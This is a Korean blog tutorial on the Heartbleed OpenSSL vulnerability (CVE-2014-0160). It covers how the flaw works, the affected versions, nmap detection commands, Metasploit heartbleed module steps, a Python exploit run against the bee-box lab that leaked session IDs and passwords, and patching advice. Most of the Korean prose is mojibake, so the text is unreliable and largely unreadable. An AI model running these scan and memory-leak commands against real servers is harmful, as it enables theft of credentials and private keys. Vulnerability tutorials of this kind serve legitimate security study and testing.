ํฐ์คํ ๋ฆฌ ๋ทฐ
๊ฐ์
2014๋ ๋ Windows XP์ ์ง์ ์ข ๋ฃ ์๊ธฐ์ ๋น์ทํ๊ฒ Heartbleed ( CVE-2014-0160 )๋ผ๋ ์ฌ๊ฐํ OpenSSL ๋ฒ๊ทธ๊ฐ ๋ฐ๊ฒฌ๋๋ฉด์ ์น ๋ธ๋ผ์ฐ์ ์ ์๋ฒ ๊ฐ ํต์ ์ํธ๊ฐ ์ธ๋ถ์ ๋ ธ์ถ๋๋ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์ต๋๋ค.
์ทจ์ฝ์ ๋ฐ๊ฒฌ ๋น์ ํ๊ตญ์์ SSL์ ์ฌ์ฉํ๋ ์น ์ฌ์ดํธ ์ค 56% ๊ฐ Heartbleed ๋ฌธ์ ๊ฐ ๋ฐ์ํ์๋ ๋งํผ ๋ณด์์ ๋ฌธ๊ฐ์ ์ธ๋ก ์์๋ ์ธํฐ๋ท ์ญ์ฌ์ ์ต์ ์ ๋ณด์ ์ทจ์ฝ์ ์ด๋ผ๊ณ ํํํ ์ ๋๋ก ํ์ฅ์ด ์ปธ์ต๋๋ค.
OpenSSL ์ด๋
๋ธ๋ผ์ฐ์ <--> ์๋ฒ ๊ฐ ํต์ ์ ์ํธํํ๋ ์คํ ์์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ฉฐ ์ฃผ๋ก ๋ณด์์ด ์ค์ํ ๋๊ท๋ชจ ์ฌ์ดํธ / ๊ธ์ต๊ถ ๋ฑ ์์ OpenSSL์ ์ฌ์ฉํ๊ณ ์์ต๋๋ค.
Heartbleed ๊ณต๊ฒฉ ์๋ฆฌ
์ ์์ ์ธ ๊ฒฝ์ฐ ํด๋ผ์ด์ธํธ -> ์๋ฒ์๊ฒ heartbeat ์์ฒญํ๋ฉฐ "๊ตฌ๋ฆ"์ด๋ผ๋ 2๊ธ์ ๋จ์ด๋ฅผ ๋ณด๋ด๋ฉด ์ด ๋ฉ์์ง๋ ์๋ฒ์ ์ํด ์์ ๋ ๋ค์ ์ํธํ๋ ํํ๋ก ์๋ฒ๊ฐ 2๊ธ์์ธ "๊ตฌ๋ฆ"์ ๋ค์ ๋ณด๋ด ์์ฒญ์ ์น์ธํ๋ ๋ฐฉ์์ ๋๋ค.
*ํด๋ผ์ด์ธํธ๋ ํ ๋ฒ์ ์ต๋ 64KB ์ ๋ณด๋ง ์์ฒญํ ์ ์์ต๋๋ค
ํ์ง๋ง ์ ์์ ์ธ ์ฌ์ฉ์๋ ์๋ฒ์๊ฒ "๊ตฌ๋ฆ" ์ 2๊ธ์๊ฐ ์๋ 100๊ธ์์ผ!!๋ผ๋ ๋ฐฉ์์ผ๋ก ๊ฑฐ์ง ์ ๋ณด๋ฅผ ํจ๊ป ์ ๋ฌํ๊ฒ ๋๋ฉด ์๋ฒ ์ธก์์๋ "๊ตฌ๋ฆ" ์ด 2๊ธ์์ธ์ง ๊ฒ์ฆ์ ํ์ง ์๊ธฐ ๋๋ฌธ์ 100๊ธ์๋ผ๊ณ ์๋ชป ํ๋จํ๋ฉฐ 2๊ธ์ ๊ตฌ๋ฆ + " ์น ์๋ฒ์ ์กด์ฌํ๋ ๋ ๋ง์ ์ ๋ณด "๋ฅผ ํฌํจํ๊ฒ ๋์ด Overflow ๋ฉ๋๋ค.
์ถ๋ ฅ๋๋ ๊ฒฐ๊ณผ์ ์์ด ์ ํด์ ธ์๊ธฐ์ ํ ๋ฒ์ ๋ชจ๋ ์ ๋ณด๋ฅผ ์ต๋ํ ์๋ ์์ง๋ง ์๊ทธ๋งํ ์ ๋ณด๋ฅผ ๊ณ์ ์์งํ๋ค ๋ณด๋ฉด ์์ ํ ์ ์๋ฏธํ ์ ๋ณด๊ฐ ์์ฑ๋ ์ ์์ต๋๋ค
*์์ ์ ๋ณด๋ค์ด ์์ด๋์ค๋๊ฒ ์ฆ ์ฌ์ฅ์ด ํ๋ฒ ๋ธ ๋๋ง๋ค ํผ๊ฐ ํ ๋ฐฉ์ธ์ฉ ๋จ์ด์ ธ ๊ฒฐ๊ตญ ์น๋ช ์ ์ธ ์ฌ์ฅ์ถํ๋ก ์ด์ด์ง ์ ์๋ค๋ ๊ฒ์ ๋น์ ํ์
์ทจ์ฝํ ๋ฒ์
(1) OpenSSL 1.0.1 ~ OpenSSL 1.0.1f
(2) OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1
ํด๋น ์ทจ์ฝ์ ์ OpenSSL ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํํธ๋นํธ(heartbeat) ํ์ฅ ๋ชจ๋์ ๋ฒ๊ทธ๋ก ์ธํด ๋ฐ์ ์ฆ ํํธ๋นํธ ๋ชจ๋์์ Client ํํธ๋นํธ ์์ฒญ ๋ฉ์์ง๋ฅผ ์ฒ๋ฆฌํ ๋ ๋ฐ์ดํฐ ๊ธธ์ด ๊ฒ์ฆ์ ์ํํ์ง ์์ ๊ฐ๋ฅํ ๊ฒ์ ๋๋ค.
๊ทธ๋ฆฌ๊ณ heartbleed๋ฅผ ํตํด ๋นผ๋ธ ์ ๋ณด๋ ํ์ ์ด ๋จ์ง ์์ ์ ์ถ ์ ๋ฌด๋ฅผ ์ฝ๊ฒ ํ์ธํ ์ ์์ต๋๋ค.
์ทจ์ฝ ์ ๋ฌด ํ์ธํ๋๋ฒ
(1) nmap ์ค์บ๋
(2) metasploit ๋ชจ๋
(3) python ์ผ๋ก ์์ฑ๋ script ํ์ฉ
<!--์ทจ์ฝํ Heartbleed ๋์์ค์บ-->
nmap -d --script=ssl-heartbleed --script-args=vulns.showall -sV <target>
nmap --script ssl-heartbleed <192.168.100.0/24> --> ์ ์ฒดํ์ธ
nmap --script ssl-heartbleed -sV -p 8443 ๋๋ 443 <target>
nmap ์ค์บ๋ ๋๊ตฌ๋ฅผ ํตํด Heartbleed ์ทจ์ฝ์ ์ด ์กด์ฌํ๋์ง ํ์ธํ ์ ์์ต๋๋ค. ์ทจ์ฝํ ๊ฒฝ์ฐ State: VULNERABLE ๋ฌธ๊ตฌ์ ํจ๊ป ๋์ ์๋น์ค๊ฐ ์ด๋ ๋ฒ์ ์ ์ฌ์ฉํ๊ณ ์๋์ง๋ ํ์ธ์ด ๊ฐ๋ฅํฉ๋๋ค.
<!--Heartbleed ์ทจ์ฝ์ ์ค์บ ๋ฐ ์ ์ถ๋ ๋ฉ๋ชจ๋ฆฌ๊ฐ(using metasploit)-->
msfconsole
search heartbleed
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true --> ์์ธํ ๊ฒฐ๊ณผ ๋ฐ ์์ฒญ๋ฐ์ดํฐ ํ์ธ
verbose => true
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS <Target IP>
RHOSTS => <Target IP>
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT < 443,8443 >
PORT => < 443,8443 >
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit
<ํด๋ผ์ด์ธํธ ์์คํ
์ด ์ฐ๊ฒฐ๋ ์ ๋ฉ๋ชจ๋ฆฌ ์ ์ถ์ ์ํ ๊ฐ์ง SSL ์ ๊ณต>
msf > use auxiliary/server/openssl_heartbeat_client_memory
msf auxiliary(openssl_heartbeat_client_memory) > show actions
...actions...
msf auxiliary(openssl_heartbeat_client_memory) > set ACTION < action-name >
msf auxiliary(openssl_heartbeat_client_memory) > show options
...show and set options...
msf auxiliary(openssl_heartbeat_client_memory) > run
๊ฒฐ๊ณผ๋ฅผ ๋ณด์๋ฉด Metasploit ์ด ๋์ ์๋ฒ์ ํต์ ํ๊ณ ์๋ฒ ๋ฉ๋ชจ๋ฆฌ์์ ์์์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ค๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ํด๋น ๋ช ๋ น์ ์คํํ ๋๋ง๋ค ์ค๋ฒํ๋ก์ฐ ๋ ์์์ ๋ฐ์ดํฐ๋ฅผ ์กฐ๊ธ์ฉ ๊ฐ์ ธ์ ์๋ฏธ ์๋ ์ ๋ณด ํํ๋ก ๋ง๋ค ์ ์์ต๋๋ค.
*์ทจ์ฝํ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ธ bee-box์ ๊ฒฝ์ฐ ์ฌ๋ฌ ๋ฒ ๊ณต๊ฒฉ ์ํํ์ฌ๋ ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ ๋ด์ฉ ๋ ธ์ถ๋์์
python ์คํฌ๋ฆฝํธ๋ก ์์ฑ๋ ์ฝ๋๋ฅผ ์ฌ์ฉํด์ ์คํ์ํจ ๊ฒฐ๊ณผ์ ๋๋ค.
ํด๋น ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ ๋ด๋ถ๋ฅผ ํ์ธํด๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก " 8443 " ํฌํธ๊ฐ ์ค์ ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ์์ ๋ช ๋ น์ด๋ฅผ ํตํด ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด ๋ณธ ๊ฒฐ๊ณผ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ ์ ๋ณด์ธ ์ธ์ ๊ฐ๊ณผ ID์ PASSWORD๊น์ง ๋ชจ๋ OverFlow ๋์ด ๋ ธ์ถ๋๊ณ ์์ต๋๋ค.
๊ณต๊ฒฉ ์งํ ํจํท ๋ถ์์ ํตํด ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ์ํธํ๋ ํต์ ์ ๋ฌด์ํ๊ณ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ํ๋ฌธ์ผ๋ก ์ฝ๊ฒ ๋ ธ์ถ๋๊ณ ์๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
์ ์ถ๋ ๊ณ์ ์ ๋ณด๋ฅผ ํตํด ์ ์์ ์ธ ์ฌ์ฉ์๋ก ์์ฅํ ์ ์์ผ๋ฉฐ ๋ง์ผ ๊ด๋ฆฌ์ ๊ณ์ ์ผ ๊ฒฝ์ฐ ํ๊ธํจ๊ณผ๋ ๋์ฑ ํฌ๋ค๊ณ ๋ณผ ์ ์์ต๋๋ค.
๋์ ๋ฐฉ์
(1) OpenSSL์ ๋ฒ๊ทธ์์ ๋น๋กฏ๋ ๋ฌธ์ ์ธ ๋งํผ ๋ฒ๊ทธ๊ฐ ์กด์ฌํ์ง ์๋ ์ต์ ๋ฒ์ ์ผ๋ก ์ ๋ฐ์ดํธํ๋ ๊ฒ๋ง์ผ๋ก๋ ์๋ฐฉ์ด ๊ฐ๋ฅํฉ๋๋ค.
Heartbleed ๋ฌธ์ ์ ์ด ํด๊ฒฐ๋ ์์คํ ์ ๋์์ผ๋ก ๊ณต๊ฒฉ์ ์ํํด๋ณด๋ฉด Handshake ๊ณผ์ ์ ์ ์์ ์ผ๋ก ์ด๋ฃจ์ด์ง๋ ์๋ฒ ์ธก์์ ์๋ต์ ํ์ง ์์ ๋ฏผ๊ฐ์ ๋ณด๊ฐ ๋ ธ์ถ๋์ง ์๊ฒ ๋ฉ๋๋ค.
(2) ๋ง์ผ Heartbleed ๊ณต๊ฒฉ์ ๋นํ ๊ฒ ๊ฐ๋ค๋ฉด ์๋ฒ ์ธก SSL ๋น๋ฐํค ๋ฅผ ์ฌ๋ฐ๊ธ๋ฐ๊ณ ์ด์ฉํ๋ ์ฌ์ฉ์๋ค์๊ฒ ํจ์ค์๋ ์ฌ์ค์ ์ ํ๋๋ก ๊ณต์ง๋ฅผ ํด์ผ๋ฉ๋๋ค.
'WEB' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
CSRF(Cross Site Request Forgery) ์ทจ์ฝ์ (0) | 2020.10.29 |
---|---|
FTP(File Transfer Protocol) ์ทจ์ฝ์ ๊ณต๊ฒฉ (0) | 2020.10.28 |
์ทจ์ฝํ ์ง์ ๊ฐ์ฒด ์ฐธ์กฐ ๊ณต๊ฒฉ (0) | 2020.10.26 |
WebDAV ์ทจ์ฝ์ (0) | 2020.10.25 |
robots.txt ์ ๋ณด ๋ ธ์ถ ์ทจ์ฝ์ (0) | 2020.10.24 |